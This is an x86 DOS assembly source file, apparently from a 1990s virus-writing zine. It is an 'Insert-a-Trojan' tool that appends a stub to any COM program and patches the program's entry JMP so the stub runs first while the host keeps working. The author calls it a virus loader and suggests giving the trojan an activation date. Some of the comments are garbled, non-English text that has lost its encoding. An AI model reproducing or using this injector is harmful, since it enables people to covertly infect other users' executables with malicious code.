;
; aa                                             CVC 02  97/09
;
;--------------------------------------------------------------> e : Osiris
;
; Insert-a-Trojan v1.0 by Nemesis
;
; Created 12-15-95 for Nemesis' Nifty Mag
;
; This will insert any trojan you create into any COM program without
; causing the program to become inoperative. (It's a goddman virus loader).
; I recommend putting an activation date on your trojan (or a run counter)
; and letting it do it's work.
;
; Originally I wrote an overwiting one is pascal which was quickly hacked
; by NWVA into something a "little" better. This too could be hacked to
; make it better by allowing for EXE trojans and options to encrypt the
; trojan. (both are simple additions)
;
; e COM ae ea.  aai wЁ a aai a
;  a. зwE i AbЁ   i a.
;

.model tiny
.code
 org 100h

start:
        mov     si,81h                  ; Command Line á

        mov     di,offset trjname       ;
        call    getparam                ; a q a

        mov     ax,3D02h                ; Ёw a i
        lea     dx,trjname
        int     21h

        xchg    ax,bx                   ; BX=a Ѕi

        mov     ah,3Fh                  ;  i
        lea     dx,oldbytes
        mov     cx,3
        int     21h

        mov     ax,4202h                ; a {a 
        xor     cx,cx                   ; CX=0
        cwd                             ; DX=0
        int     21h

        sub     ax,3                    ;

        mov     space,byte ptr 0E9h     ; JMP ww 
        mov     word ptr space+1,ax     ; 


        mov     ah,40h                  ; aa a
        mov     dx,offset trojan
        mov     cx,offset end_trojan-offset start
        int     21h

        mov     ax,4200h                ; qa 
        xor     cx,cx
        cwd
        int     21h                     ;


        mov     dx,offset space         ;
        mov     cx,3
        mov     ah,40h
        int     21h

        mov     ax,03Eh                 ; a h
        int     21h
        int     20h                     ; aa {

;
trojan:                                 ; aa
        call    realcode
realcode:
        pop     bp
        sub     bp,offset realcode

        lea     si,[bp+oldbytes]        ; |  ǡ
        mov     di,100h
        push    di
        movsw
        movsb

;
; Insert your trojan here. It's fun :) (and lame)
;

        mov     ah,09h
        lea     dx,[bp+message]
        int     21h

;
;

        ret

message  db 'Test Trojan!',0Dh,0Ah,'$'
oldbytes db 3 dup (0)



end_trojan:


getparam:                       ;

ks:
        lodsb                   ; SI->AL
        cmp     al,' '          ; aAa ?
        jne     getname         ;
        loope   ks              ;

read_it:
        lodsb                   ;
getname:
        cmp     al,0Ah          ; aa { ?
        je      done_scan

        cmp     al,' '          ;
        jbe     done_scan
        stosb                   ; AL->DI

        loop    read_it

done_scan:
        ret

trjname db 76 dup(0)            ; File Name
space   db 3  dup(?)            ; Filler

end start
